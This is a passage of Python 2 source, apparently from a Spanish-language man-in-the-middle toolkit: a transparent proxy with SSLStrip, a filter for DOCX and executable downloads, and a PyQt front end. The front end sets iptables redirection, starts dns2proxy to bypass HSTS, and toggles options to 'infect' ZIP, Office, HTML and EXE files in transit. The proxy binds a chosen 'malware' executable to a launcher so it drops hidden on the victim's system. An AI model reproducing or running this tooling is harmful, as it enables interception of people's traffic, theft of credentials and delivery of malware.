sys.stdout.flush()
self.originalRequest.write(datos)
else:
if not self.handleResponsePartCalled:
self.handler = Handle(self.new_headers, self.uri, buffer, active_sslstrip_param = self.active_sslstrip)
datos = ''
if self.active_sslstrip:
# print '[--] handleResponse ', sslstrip_handler.check_host(self.host)
if self.host in HTMLHandler.host_set_cookies:
cookies = HTMLHandler.host_set_cookies[self.host][0]
redirected_host = HTMLHandler.host_set_cookies[self.host][1]
self.originalRequest.setResponseCode(302, 'Redirection')
self.originalRequest.setHeader('Location', str(redirected_host))
#self.originalRequest.removeHeader('set-cookie')
self.parse_set_cookie_str(cookies)
# self.originalRequest.setHeader('Set-Cookie', str(cookies))
datos = ''
self.originalRequest.write(datos)
try:
self.originalRequest.finish()
self.transport.loseConnection()
except Exception, e:
print lineno(),' Exception: %s (%s)' % (Exception, e)
del HTMLHandler.host_set_cookies[self.host]
return
headers,cookies = sslstrip_handler.sslstrip_response_headers(self.new_headers)
for key in headers:
self.originalRequest.setHeader(key, headers[key])
if self.handler is not None:
if self.handler.type == 'html':
# print '[--]',lineno(),' Accediendo a parseos.....'
datos, redir = self.handler.handle.Final(self.host, self.postData,self.originalRequest.__dict__)
if redir is not None:
self.originalRequest.setResponseCode(302, 'Redirection')
self.originalRequest.setHeader('Location', redir)
# print '[--] datos: ',datos
self.originalRequest.setHeader('Content-Length', len(datos))
# if redir:
# print '[--] ProxyClient originalRequest (after redir):\n', self.originalRequest.__dict__
sys.stdout.flush()
self.originalRequest.write(datos)
#log2file('\n'+str(headers)+'\n\n'+datos)
try:
self.originalRequest.finish()
self.transport.loseConnection()
except Exception, e:
pass
# print lineno(),' Exception: %s (%s)' % (Exception, e)
class ProxyClientFactory(protocol.ClientFactory):
def __init__(self, method, uri, postData, headers, originalRequest):
self.protocol = ProxyClient
self.method = method
self.uri = uri
self.postData = postData
self.headers = headers
self.originalRequest = originalRequest
def buildProtocol(self, addr):
return self.protocol(self.method, self.uri, self.postData,
self.headers, self.originalRequest)
def clientConnectionFailed(self, connector, reason):
log.err("Server connection failed: %s" % reason)
self.originalRequest.setResponseCode(504)
try:
self.originalRequest.finish()
except:
pass
class ProxyRequest(http.Request):
def __init__(self, channel, queued, reactor=reactor):
http.Request.__init__(self, channel, queued)
self.reactor = reactor
def process(self):
host = self.getHeader('host')
inicial_host = host
#self.requestHeaders.removeHeader('accept')
self.requestHeaders.removeHeader('accept-encoding')
self.requestHeaders.removeHeader('if-modified-since')
self.requestHeaders.removeHeader('if-none-match')
#self.requestHeaders.setHeader('Connection','close')
if not host:
log.err("No host header given")
self.setResponseCode(400)
self.finish()
return
port = 80
if ':' in host:
host, port = host.split(':')
port = int(port)
if self.uri.startswith('http://'):
self.uri = self.uri[len('http://'+host):]
self.content.seek(0, 0)
postData = self.content.read()
if active_sslstrip:
headers = dict(self.requestHeaders.getAllRawHeaders())
#dominio = host.split('.')[-2]+'.'+host.split('.')[-1]
host, port, self.uri, postData, headers = sslstrip_handler.Modify_Request(self.uri, host, postData, headers)
# print 'New host = ',host
lpostData = postData.lower()
# self.setHost(host, port)
# for key in headers:
# self.requestHeaders.addRawHeader(key, headers[key])
cad = "%s %s HTTP/1.1\n" % (self.method, self.uri)
for header in self.requestHeaders.getAllRawHeaders():
cad += "%s: %s\n" % (header[0], header[1][0])
cad += "\n" + postData + "\n\n"
log2file(cad)
factory = ProxyClientFactory(self.method, self.uri, postData,
self.requestHeaders.getAllRawHeaders(),
self)
if port == 80:
if invisibleProxy is not None:
phost,pport = invisibleProxy.split(':')
# print '[++] Conexion por HTTP [Proxy] (%s,%d)' % (host, port)
self.reactor.connectTCP(phost, int(pport), factory)
else:
# print '[++] Conexion por HTTP (%s,%d)' % (host, port)
self.reactor.connectTCP(host, 80, factory)
else:
clientContextFactory = ssl.ClientContextFactory()
# connectionFactory = ServerConnectionFactory(self.method, self.uri, postData, self.requestHeaders.getAllRawHeaders(), self)
# #connectionFactory.protocol = SSLServerConnection
# self.reactor.connectSSL('127.0.0.1', 8080, factory, clientContextFactory) # invisible proxy
if invisibleProxy is not None:
phost,pport = invisibleProxy.split(':')
# print '[++] Conexion por SSL [Proxy] (%s,%d)' % (host,port)
self.reactor.connectSSL(phost,int(pport), factory, clientContextFactory)
else:
# print '[++] Conexion por SSL (%s,%d)' % (host,port)
self.reactor.connectSSL(host, port, factory, clientContextFactory)
def processResponse(self, data):
return data
class TransparentProxy(http.HTTPChannel):
requestFactory = ProxyRequest
class ProxyFactory(http.HTTPFactory):
protocol = TransparentProxy
parser = argparse.ArgumentParser()
parser.add_argument("-p", "--port", help="Listen port", type=int, default=9090)
parser.add_argument("-e", "--exe", help="EXE binder configuration", default = None)
parser.add_argument("-o", "--ooxml", help="OOXML config")
parser.add_argument("-z", "--zip", help="ZIP config")
parser.add_argument("-t", "--html", help="HTML config", default = None)
parser.add_argument("-T", "--sslstrip", help="Activate SSLStrip2 (must provide html config)", action="store_true", default=False)
parser.add_argument("-S","--silent", help="Silent", action="store_true", default=False)
parser.add_argument("-P","--invisibleProxy", help="Proxy:port", default=None)
args = parser.parse_args()
ooxml_config = args.ooxml
zip_config = args.zip
html_config = args.html
pe_config = args.exe
exe_file = None
invisibleProxy = args.invisibleProxy
active_sslstrip = (args.sslstrip and html_config is not None)
if active_sslstrip:
sslstrip_handler = HTMLHandler.HTMLHandler(html_config, None, None, True)
if pe_config is not None:
pconfig = json.loads(open(pe_config).read())
exe_file = pconfig["output"]
launcher = pconfig["launcher"]
malware = pconfig["malware"]
path_malw = pconfig["path_malware"]
path_orig = pconfig["path_original"]
joiner = pconfig["joiner"]
if not launcher == "" and not malware=="":
comando = joiner + " -l " + launcher + " -m " + malware
if not exe_file == "":
comando += " -o " + exe_file
else:
exe_file = "output.exe"
if not path_malw == "":
comando += " -p " + path_malw
if not path_orig == "":
comando += " -s " + path_orig
print "Creating injector... "
print comando
p = popen(comando,"r")
for line in p.readlines():
print line,
print
# "HELP" : {
# "launcher" : " Ruta al launcher ",
# "output" : " Ruta local del fichero generado launcher + malware ",
# "malware" : " Ruta al ejecutable que se ejecutara primero (malware) ",
# "path_malware" : " Ruta + nombre_archivo donde se extraera y ejecutara malware en el sistema objetivo (el archivo se creara oculto)",
# "path_original" : " Ruta + nombre_archivo donde se extraera y ejecutara el fichero original en el sistema objetivo (el archivo se creara oculto)",
# "HELP" : " Esta ayuda "
# }
if not args.silent:
log.startLogging(sys.stdout)
reactor.listenTCP(args.port, ProxyFactory())
reactor.run()<file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import DOCXHandler
class FilterHandler:
POS_PART = 0x00
POS_EXPR = 0x01
POS_HDNL = 0x02
AT_REQUEST = 0x01
AT_RESPONSE = 0x02
URL_PART = 0x03
HEADER_PART = 0x04
BODY_PART = 0x05
LOOK_AT = [ AT_REQUEST, AT_RESPONSE ]
IDENTITY_PART = [ URL_PART, HEADER_PART, BODY_PART ]
"""
Pattern Example:
{ 0x01 : [ 0x03, ['upload.php','download.php'], 'FOOBARHandlerClass' ]} Trigger Inspection with class FOOBARHandlerClass if upload.php or download.php patterns are present in URL of Request data.
"""
Filters_Patterns = [
# Filter for DOCX Handler
{ 0x02 : [ 0x04, ['Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document'], 'DOCXHandler' ]},
# Filter for PE Handler
{ 0x02 : [ 0x04, ['Content-Type: application/octet-stream', 'Content-Type: application/x-msdownload', 'Content-Type: application/exe', 'Content-Type: application/x-exe', 'Content-Type: application/dos-exe', 'Content-Type: vms/exe', 'Content-Type: application/x-winexe', 'Content-Type: application/msdos-windows', 'Content-Type: application/x-msdos-program'], 'PEHandler' ]}
]
def must_handle(self, request, response):
for pattern_decision in self.Filters_Patterns:
at_key = pattern_decision.keys()[0]
part_key = pattern_decision[at_key][self.POS_PART]
expr_key = pattern_decision[at_key][self.POS_EXPR]
if at_key not in self.LOOK_AT: continue # AT_REQUEST or AT_RESPONSE
if part_key not in self.IDENTITY_PART: continue # HEADER_PART or URL_PART or BODY_PART
try: # Valid Regular Expression
for pat in expr_key:
re.compile( pat )
except re.error:
continue
if at_key == self.AT_REQUEST:
target_object = request
elif at_key == self.AT_RESPONSE:
target_object = response
else:
continue
if part_key == self.URL_PART:
target_data = str(target_object.path)
elif part_key == self.HEADER_PART:
target_data = str(target_object.headers)
elif part_key == self.BODY_PART:
if at_key == self.AT_RESPONSE:
target_data = str(target_object.data)
else:
target_data = str(target_object.payload)
else:
continue
for pat in expr_key:
if re.search(pat, target_data) != None:
handler_name = pattern_decision[at_key][self.POS_HDNL]
if handler_name == 'DOCXHandler':
return DOCXHandler.DOCXHandler()
elif handler_name == 'foobar':
pass
return None
<file_sep>#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys, subprocess
import json
from PyQt4.QtCore import *
from PyQt4.QtGui import *
import interfaceEncimaDeLaMosca
eliminar_icono = 'images/eliminar.gif'
class MainDialog(QMainWindow,interfaceEncimaDeLaMosca.Ui_MainWindow):
process_started = False
default_config_file = 'configuraciones/default/interface_default.json'
default_html_config_file = 'configuraciones/default/html_default.json'
default_ooxml_config_file = 'configuraciones/default/ooxml_default.json'
default_zip_config_file = 'configuraciones/default/zip_default.json'
default_pe_config_file = 'configuraciones/default/pe_default.json'
comando = "proxy_transparente.py"
ZIPFILECONF = '../encimadelamosca/zip_config.json'
ZIPFILECONFTEMP = '/tmp/zip_config_temp.json'
PEFILECONFTEMP = '/tmp/pe_config_temp.json'
OOXMLFILECONFTEMP = '/tmp/ooxml_config_temp.json'
HTMLFILECONFTEMP = '/tmp/html_config_temp.json'
DNS2PROXYTEMPFILE = '/tmp/dns_hsts_config.json'
botones = {}
dirpath = './'
puerto = 9090
def __init__(self, parent = None):
super(MainDialog, self).__init__(parent)
self.setupUi(self)
# Relacion de botones y objetos y procedimientos a los que afectan
self.botones = {
# Botones para gestion de tablas de configuraciones (ZIP)
'AddFileZipConfMod' : self.TableZipModFiles,
'AddFileZipConfAdd' : self.TableZipAddFiles,
# Botones de carga/guardado de configuraciones (ZIP)
'ZipLoadButton' : self.LoadZipConfig,
'ZipSaveButton' : self.SaveZipConfig,
# Botones para gestion de tablas de configuraciones (DOCX)
'AddFileDocxConfMod' : self.TableDocxModFiles,
'AddFileDocxConfAdd' : self.TableDocxAddFiles,
# Botones para gestion de tablas de configuraciones (XLSX)
'AddModXlsxButton' : self.TableXlsxModFiles,
'AddFileXlsxButton' : self.TableXlsxAddFiles,
# Botones para gestion de tablas de configuraciones (PPTX)
'AddModPptxButton' : self.TablePptxModFiles,
'AddFilePptxButton' : self.TablePptxAddFiles,
# Botones para gestion de tablas de configuraciones (PPSX)
'AddModPpsxButton' : self.TablePpsxModFiles,
'AddFilePpsxButton' : self.TablePpsxAddFiles,
# Botones de carga/guardado de configuraciones (OOXML)
'OOXMLLoadButton' : self.LoadOOXMLConfig,
'OOXMLSaveButton' : self.SaveOOXMLConfig,
# Botones de fichero de configuracion (PE)
'AddCrypterButton' : self.CrypterText,
'AddLauncherButton' : self.LaucherText,
'AddMontoolButton' : self.MontoolText,
'AddOutputButton' : self.OutputText,
# Botones de carga/guardado de configuraciones (PE)
'PeLoadButton' : self.LoadPeConfig,
'PeSaveButton' : self.SavePeConfig,
# Botones de seleccion (PROXY)
'iptablesPathButton': self.iptablesPathText,
'proxyDirButton' : self.proxyDirText,
'dns2proxyDirButton': self.dns2proxyDirText,
'tmpDirText' : self.tmpDirText,
# Botones de carga/guardado de configuraciones (PROXY)
'SaveConfProxy' : self.SaveProxyConfig,
'LoadConfProxy' : self.LoadProxyConfig,
# Botones SSLStrip y HTML
'AddDomSSLStrip' : self.TableDomSSLStrip,
'AddTransSSLStrip' : self.TableTransSSLStrip,
'AddTargetsSSLStrip': self.TableTargetsSSLStrip,
'AddKeywordSSLStrip': self.TableKeywSSLStrip,
'AddRedirSSLStrip' : self.TableRedirSSLStrip,
'AddHTMLChange' : self.TableHTMLChange,
# Botones de carga/guardado de configuraciones (HTML y SSLStrip)
'HTMLLoadButton' : self.LoadHTMLConfig,
'HTMLSaveButton' : self.SaveHTMLConfig,
# Botones Main
'SaveLogButton' : self.SaveLog
}
# Definicion de SIGNALs a los botones
# ZIP
self.ZipTablesButtonConf(self.AddFileZipConfMod, self.AddFileZipConfAdd, self.TableZipModFiles, self.TableZipAddFiles, loadbutton = self.ZipLoadButton, savebutton = self.ZipSaveButton)
# OOXML
self.ZipTablesButtonConf(self.AddFileDocxConfMod, self.AddFileDocxConfAdd, self.TableDocxModFiles, self.TableDocxAddFiles, loadbutton = self.OOXMLLoadButton, savebutton = self.OOXMLSaveButton)
self.ZipTablesButtonConf(self.AddModXlsxButton, self.AddFileXlsxButton, self.TableXlsxModFiles, self.TableXlsxAddFiles)
self.ZipTablesButtonConf(self.AddModPptxButton, self.AddFilePptxButton, self.TablePptxModFiles, self.TablePptxAddFiles)
self.ZipTablesButtonConf(self.AddModPpsxButton, self.AddFilePpsxButton, self.TablePpsxModFiles, self.TablePpsxAddFiles)
# PE
self.connect(self.AddCrypterButton, SIGNAL('clicked()'), self.SelectFile2Text)
self.connect(self.AddLauncherButton, SIGNAL('clicked()'), self.SelectFile2Text)
self.connect(self.AddMontoolButton, SIGNAL('clicked()'), self.SelectFile2Text)
self.connect(self.AddOutputButton, SIGNAL('clicked()'), self.SelectFile2Text)
self.connect(self.PeLoadButton, SIGNAL('clicked()'), self.LoadConfig)
self.connect(self.PeSaveButton, SIGNAL('clicked()'), self.SaveConfig)
self.CrypterText.installEventFilter(self)
self.LaucherText.installEventFilter(self)
self.MontoolText.installEventFilter(self)
self.OutputText.installEventFilter(self)
# HTML y SSLStrip
self.SSLStripTableButtons(self.AddDomSSLStrip , self.TableDomSSLStrip, loadbutton = self.HTMLLoadButton, savebutton = self.HTMLSaveButton)
self.SSLStripTableButtons(self.AddTransSSLStrip , self.TableTransSSLStrip)
self.SSLStripTableButtons(self.AddTargetsSSLStrip, self.TableTargetsSSLStrip)
self.SSLStripTableButtons(self.AddKeywordSSLStrip, self.TableKeywSSLStrip)
self.SSLStripTableButtons(self.AddRedirSSLStrip , self.TableRedirSSLStrip)
self.SSLStripTableButtons(self.AddHTMLChange , self.TableHTMLChange)
self.TableRedirSSLStrip.setColumnWidth(1,100)
self.TableRedirSSLStrip.setColumnWidth(2,100)
# self.TableRedirSSLStrip.setColumnWidth(3,120)
# self.TableRedirSSLStrip.setColumnWidth(3,200)
# self.TableHTMLChange.setColumnWidth(3,200)
self.TableHTMLChange.setColumnWidth(2,180)
# PROXY
self.connect(self.LoadConfProxy, SIGNAL('clicked()'), self.LoadConfig)
self.connect(self.SaveConfProxy, SIGNAL('clicked()'), self.SaveConfig)
self.TCPportText.installEventFilter(self)
self.proxyDirText.installEventFilter(self)
self.dns2proxyDirText.installEventFilter(self)
self.iptablesPathText.installEventFilter(self)
self.tmpDirText.installEventFilter(self)
self.interfaceText.installEventFilter(self)
self.connect(self.iptablesPathButton, SIGNAL('clicked()'), self.SelectFile2Text)
self.connect(self.proxyDirButton, SIGNAL('clicked()'), self.SelectDir2Text)
self.connect(self.dns2proxyDirButton, SIGNAL('clicked()'), self.SelectDir2Text)
self.connect(self.tmpDirText, SIGNAL('clicked()'), self.SelectDir2Text)
# Main process
self.connect(self.LaunchButton, SIGNAL('clicked()'), self.startStop)
self.connect(self.SaveLogButton, SIGNAL('clicked()'), self.SaveConfig)
# Proxy Process
self.process = QProcess(self)
self.process.readyRead.connect(self.readData)
self.statusBar().showMessage(self.tr("Proxy parado"))
# dns2proxy Process
self.dnsprocess = QProcess(self)
self.dnsprocess.readyRead.connect(self.readDataDNS)
# Load default proxy Conf
try:
data = open(self.default_config_file,'r').read()
self.LoadProxyConfig(data)
data = open(self.default_html_config_file,'r').read()
self.LoadHTMLConfig(data)
data = open(self.default_ooxml_config_file,'r').read()
self.LoadOOXMLConfig(data)
data = open(self.default_zip_config_file,'r').read()
self.LoadZipConfig(data)
data = open(self.default_pe_config_file,'r').read()
self.LoadPeConfig(data)
except Exception,e:
print 'No hay configuracion por defecto'
pass
# Get info del sistema
try:
id = self.executeShortCommand('id')
sysinfo = self.executeShortCommand('uname -a')
except Exception, e:
id = 'Nivel de usuario desconocido'
sysinfo = 'Windows??? (De momento solo soportado Linux y Mac OS X)'
self.InfoSistemaText.setText(sysinfo+'\n'+id)
def ZipTablesButtonConf(self, button1, button2, table1, table2, loadbutton = None, savebutton = None):
self.connect(table2, SIGNAL('cellClicked(int, int)'), self.deleteRowClicked)
self.connect(table1, SIGNAL('cellClicked(int, int)'), self.deleteRowClicked)
self.connect(button1, SIGNAL('clicked()'), self.AddConfRow)
self.connect(button2, SIGNAL('clicked()'), self.AddConfRow)
if loadbutton is not None and savebutton is not None:
self.connect(loadbutton, SIGNAL('clicked()'), self.LoadConfig)
self.connect(savebutton, SIGNAL('clicked()'), self.SaveConfig)
table1.verticalHeader().setVisible(True)
table2.verticalHeader().setVisible(True)
table2.setDragEnabled(True)
table1.setDragEnabled(True)
table2.installEventFilter(self)
table1.installEventFilter(self)
table2.setColumnWidth(0,35)
table1.setColumnWidth(0,35)
# self.LaunchButton.setIcon(icontest)
def SSLStripTableButtons(self,button,table, loadbutton = None, savebutton = None):
self.connect(table, SIGNAL('cellClicked(int, int)'), self.deleteRowClicked)
self.connect(button, SIGNAL('clicked()'), self.AddConfRow)
table.verticalHeader().setVisible(True)
table.setDragEnabled(True)
table.installEventFilter(self)
table.setColumnWidth(0,35)
if loadbutton is not None and savebutton is not None:
self.connect(loadbutton, SIGNAL('clicked()'), self.LoadConfig)
self.connect(savebutton, SIGNAL('clicked()'), self.SaveConfig)
def LoadConfig(self):
filename = QFileDialog.getOpenFileName(self, 'Selecciona fichero de configuracion', self.dirpath)
if filename == '':
return False
button = self.sender()
name = str(button.objectName())
try:
data = open(filename,'r').read()
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
self.botones[name](data)
def SaveConfig(self):
filename = QFileDialog.getSaveFileName(self, 'Selecciona fichero donde guardar', self.dirpath)
if filename == '':
return False
button = self.sender()
name = str(button.objectName())
self.botones[name](filename = filename)
#self.ProxyOutput = QtGui.QTextBrowser(self.Proxy)
def AddConfRow(self):
sender = str(self.sender().objectName())
tabla = self.botones[sender]
self.AddRow(tabla, icon = 'images/eliminar.gif')
tabla.installEventFilter(self)
# METHOD readData
# It is for updating the stdout information.
def readData(self):
s = str(self.process.readAll())
self.ProxyOutput.append(s[:s.rfind('\n')])
def readDataDNS(self):
s = str(self.dnsprocess.readAll())
self.DNSOutput.append(s[:s.rfind('\n')])
def executeShortCommand(self, command):
child = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
res = ''
while True:
out = child.stdout.read(1)
if out == '' and child.poll() != None:
break
if out != '':
res += out
return res
def startStop(self):
iptablesPath = str(self.iptablesPathText.toPlainText())
dns2proxyPath = str(self.dns2proxyDirText.toPlainText())
if self.process_started:
if self.iptablesCheckBox.isChecked() and iptablesPath != '':
self.ProxyOutput.append('[++] Parando iptables...')
comando = '%s -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %d' % (iptablesPath,self.puerto)
self.executeShortCommand(comando)
if self.launchDNS2Proxy.isChecked() and dns2proxyPath != '' and self.ActivateSSLSTRIP.isChecked() and self.InfectHTML.isChecked():
comando = '%s -t nat -D PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53' % iptablesPath
self.executeShortCommand(comando)
self.LaunchButton.setText("Iniciar Proxy")
self.process_started = False
self.process.kill()
self.statusBar().showMessage(self.tr("Proxy parado"))
self.ActivarCheckBoxes(True)
self.ProxyOutput.append('\nParando Proxy....\n')
if self.launchDNS2Proxy.isChecked() and dns2proxyPath != '':
self.dnsprocess.kill()
comando = 'kill `ps auxw | grep dns_hsts | grep -v grep | awk \'{print $2}\'`'
self.executeShortCommand(comando)
self.DNSOutput.append('Parando DNS2Proxy...\n')
else:
comando = self.ComandoOpciones()
self.ProxyOutput.append('Ejecutando... '+ comando + '\n')
try:
self.process.start(comando)
self.statusBar().showMessage(self.tr("Proxy ejecutandose"))
self.ActivarCheckBoxes(False)
self.LaunchButton.setText("Parar Proxy")
self.process_started = True
if self.launchDNS2Proxy.isChecked() and dns2proxyPath != '':
self.SaveHSTSdns2proxy(filename = self.DNS2PROXYTEMPFILE)
comando = 'sh -c "cd %s && ./dns2proxy.py -t %s "' % (dns2proxyPath, self.DNS2PROXYTEMPFILE)
self.DNSOutput.append('Ejecutando... '+ comando + '\n')
self.dnsprocess.start(comando)
# empezar iptables
if self.iptablesCheckBox.isChecked() and iptablesPath != '':
self.ProxyOutput.append('[++] Ejecutando iptables...')
comando = 'sysctl net.ipv4.ip_forward=1'
self.executeShortCommand(comando)
comando = '%s -A OUTPUT -p icmp -j DROP' % iptablesPath
self.executeShortCommand(comando)
comando = '%s -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %d' % (iptablesPath,self.puerto)
self.executeShortCommand(comando)
if self.launchDNS2Proxy.isChecked() and dns2proxyPath != '' and self.ActivateSSLSTRIP.isChecked() and self.InfectHTML.isChecked():
comando = '%s -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53' % iptablesPath
self.executeShortCommand(comando)
except Exception, e:
print "Error %s" % Exception, e
def ComandoOpciones(self):
comando = str(self.proxyDirText.toPlainText()) + '/' + self.comando + ' -p ' + str(self.puerto)
if self.InfectZIP.isChecked():
self.SaveZipConfig(filename = self.ZIPFILECONFTEMP)
comando += ' -z %s ' % self.ZIPFILECONFTEMP
if self.InfectEXE.isChecked():
self.SavePeConfig(filename = self.PEFILECONFTEMP)
comando += ' -e %s ' % self.PEFILECONFTEMP
if self.InfectOOXML.isChecked():
self.SaveOOXMLConfig(filename = self.OOXMLFILECONFTEMP)
comando += ' -o %s ' % self.OOXMLFILECONFTEMP
if self.InfectHTML.isChecked():
self.SaveHTMLConfig(filename = self.HTMLFILECONFTEMP)
comando += ' -t %s' % self.HTMLFILECONFTEMP
if self.ActivateSSLSTRIP.isChecked():
comando += ' -T'
if not self.ProxySilentMode.isChecked():
comando += ' -S '
return comando
def ActivarCheckBoxes(self, estado):
self.InfectZIP.setEnabled(estado)
self.InfectEXE.setEnabled(estado)
self.InfectOOXML.setEnabled(estado)
self.ProxySilentMode.setEnabled(estado)
self.ActivateSSLSTRIP.setEnabled(estado)
self.InfectHTML.setEnabled(estado)
def eventFilter(self, source, event):
if (event.type() == QEvent.DragEnter):
if event.mimeData().hasUrls or event.mimeData().hasUrls is not None or event.mimeData().text() != '':
event.accept()
return True
else:
event.ignore()
return False
if (event.type() == QEvent.Drop):
if event.mimeData().hasUrls:
for url in event.mimeData().urls():
try:
item = QTableWidgetItem()
item.setText(str(url.toLocalFile()))
# print source.currentRow(), source.currentColumn()
position = event.pos()
# Row height = 30 (hay q restarlo a la posicion)
row = source.rowAt(position.y()-30)
column = source.columnAt(position.x())
if row < 0 or column <= 0 :
self.AddRow(source, icon = eliminar_icono)
source.setItem(source.rowCount()-1,column, item)
else:
source.setItem(row,column, item)
except Exception, e:
source.setText(str(url.toLocalFile()))
elif event.mimeData().text() != '':
# print 'Drop - ', event.mimeData().text()
try:
self.AddRow(source, icon = eliminar_icono)
item = QTableWidgetItem()
item.setText(event.mimeData().text())
source.setItem(source.rowCount()-1,source.columnCount()-1, item)
except:
source.clear()
source.setText(event.mimeData().text())
return True
else:
return False
def AddRow(self,table, icon = None):
rows = table.rowCount()+1
table.setRowCount(rows)
if icon is not None:
icon = self.AddButtonIcon(eliminar_icono)
table.setItem(rows-1, 0, icon)
return rows
def AddButtonIcon(self,image):
icon_item = QTableWidgetItem()
icon_item.setIcon(QIcon(image))
icon_item.setFlags(Qt.ItemIsEnabled)
return icon_item
def deleteRowClicked(self, row, column):
if column == 0:
tabla = self.sender()
tabla.removeRow(row)
return True
def clickTest(self):
self.statusBar().showMessage(self.tr("Click presionado"))
return True
def Error(self, err):
print err
return False
def SelectFile2Text(self):
filename = QFileDialog.getOpenFileName(self, 'Selecciona fichero', './')
button = self.sender()
name = str(button.objectName())
item = self.botones[name]
item.setText(str(filename))
return True
def SelectDir2Text(self):
filename = QFileDialog.getExistingDirectory(self, 'Selecciona directorio', './')
button = self.sender()
name = str(button.objectName())
item = self.botones[name]
item.setText(str(filename))
return True
def SaveLog(self, filename = None):
if filename is None:
filename = QFileDialog.getSaveFileName(self, 'Selecciona fichero', self.dirpath)
if filename == '':
return False
try:
with open(filename,'a') as f:
data = str(self.ProxyOutput.toPlainText())
f.write(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
return True
# Procedimientos de gestion de configuraciones
def BorrarConfig(self, config = None):
# TODO: Preguntar
if config == 'zip':
for i in reversed(range(self.TableZipAddFiles.rowCount())):
self.TableZipAddFiles.removeRow(i)
for i in reversed(range(self.TableZipModFiles.rowCount())):
self.TableZipModFiles.removeRow(i)
if config == 'ooxml':
for table in [self.TableDocxModFiles, self.TableDocxAddFiles, self.TableXlsxModFiles, self.TableXlsxAddFiles, self.TablePptxModFiles, self.TablePptxAddFiles, self.TablePpsxModFiles, self.TablePpsxAddFiles] :
for i in reversed(range(table.rowCount())):
table.removeRow(i)
if config == 'sslstrip':
for table in [self.TableDomSSLStrip, self.TableTransSSLStrip, self.TableTargetsSSLStrip, self.TableKeywSSLStrip, self.TableRedirSSLStrip, self.TableHTMLChange] :
for i in reversed(range(table.rowCount())):
table.removeRow(i)
def LoadPeConfig(self, data):
if data.find('"launcher"') == -1 or data.find('"output"') == -1 or data.find('"malware"') == -1 :
self.Error('Fichero de configuracion no adecuado')
return False
try:
configuracion = json.loads(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
self.CrypterText.setText(str(configuracion['joiner']))
self.LaucherText.setText(str(configuracion['launcher']))
self.MontoolText.setText(str(configuracion['malware']))
self.OutputText.setText(str(configuracion['output']))
self.pathMontoolText.setText(str(configuracion['path_malware']))
self.pathOrigText.setText(str(configuracion['path_original']))
return True
def SavePeConfig(self, filename = None):
configuracion = {}
configuracion['joiner'] = str(self.CrypterText.toPlainText())
configuracion['launcher'] = str(self.LaucherText.toPlainText())
configuracion['malware'] = str(self.MontoolText.toPlainText())
configuracion['output'] = str(self.OutputText.toPlainText())
configuracion['path_malware'] = str(self.pathMontoolText.toPlainText())
configuracion['path_original'] = str(self.pathOrigText.toPlainText())
if filename is None:
filename = QFileDialog.getSaveFileName(self, 'Selecciona fichero de configuracion', self.dirpath)
if filename == '':
return False
data = json.dumps(configuracion, sort_keys=True, indent=4)
try:
with open(filename,'w') as f:
f.write(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
return True
def LoadZipConfig(self, data):
# print data
if data.find('"zip"') == -1 or data.find('"add"') == -1 or data.find('"mod"') == -1 :
self.Error('Fichero de configuracion no adecuado')
return False
try:
configuracion = json.loads(data)['zip']
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
self.BorrarConfig(config = 'zip')
for fichero in configuracion['add']:
table = self.TableZipAddFiles
self.AddRow(table, icon = eliminar_icono)
local = QTableWidgetItem()
local.setText(fichero[0])
enzip = QTableWidgetItem()
enzip.setText(fichero[1])
table.setItem(table.rowCount()-1, 1, enzip)
table.setItem(table.rowCount()-1, 2, local)
for fichero in configuracion['mod']:
table = self.TableZipModFiles
self.AddRow(table, icon = eliminar_icono)
nombre = QTableWidgetItem()
nombre.setText(fichero['name'])
extension = QTableWidgetItem()
extension.setText(fichero['extension'])
size = QTableWidgetItem()
size.setText(fichero['size'])
old = QTableWidgetItem()
old.setText(fichero['old'])
new = QTableWidgetItem()
new.setText(fichero['new'])
command = QTableWidgetItem()
command.setText(fichero['command'])
table.setItem(table.rowCount()-1,1, nombre)
table.setItem(table.rowCount()-1,2, extension)
table.setItem(table.rowCount()-1,3, size)
table.setItem(table.rowCount()-1,4, old)
table.setItem(table.rowCount()-1,5, new)
table.setItem(table.rowCount()-1,6, command)
def getText(self,table, row, column):
item = table.item(row, column)
if item is None:
return ''
return str(item.text())
def SaveZipConfig(self, filename = None):
configuracion = {}
zip = {}
mod = []
add = []
table = self.TableZipModFiles
for row in range(table.rowCount()):
add_element = {}
try:
add_element['name'] = self.getText(table, row, 1)
add_element['extension'] = self.getText(table, row, 2)
add_element['size'] = self.getText(table, row, 3)
add_element['old'] = self.getText(table, row, 4)
add_element['new'] = self.getText(table, row, 5)
add_element['command'] = self.getText(table, row, 6)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
mod.append(add_element)
table = self.TableZipAddFiles
for row in range(table.rowCount()):
local = self.getText(table, row,2)
enzip = self.getText(table, row,1)
if local != '' and enzip != '':
add_element = (local, enzip)
add.append(add_element)
zip['mod'] = mod
zip['add'] = add
configuracion['zip'] = zip
data = json.dumps(configuracion, sort_keys=True, indent=4)
if filename is None:
filename = QFileDialog.getSaveFileName(self, 'Selecciona fichero de configuracion', self.dirpath)
if filename == '':
return False
try:
with open(filename,'w') as f:
f.write(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
return True
def SaveOOXMLConfig(self, filename = None):
superconfiguracion = {}
configuracion = {}
extensiones = {
'.docx' : (self.TableDocxModFiles, self.TableDocxAddFiles),
'.xlsx' : (self.TableXlsxModFiles, self.TableXlsxAddFiles),
'.pptx' : (self.TablePptxModFiles, self.TablePptxAddFiles),
'.ppsx' : (self.TablePpsxModFiles, self.TablePpsxAddFiles)
}
for extension in extensiones:
# print 'Saving... ', extension
zip = {}
mod = []
add = []
table1, table2 = extensiones[extension]
table = table1
for row in range(table.rowCount()):
add_element = {}
try:
add_element['name'] = self.getText(table, row, 1)
add_element['old'] = self.getText(table, row, 2)
add_element['new'] = self.getText(table, row, 3)
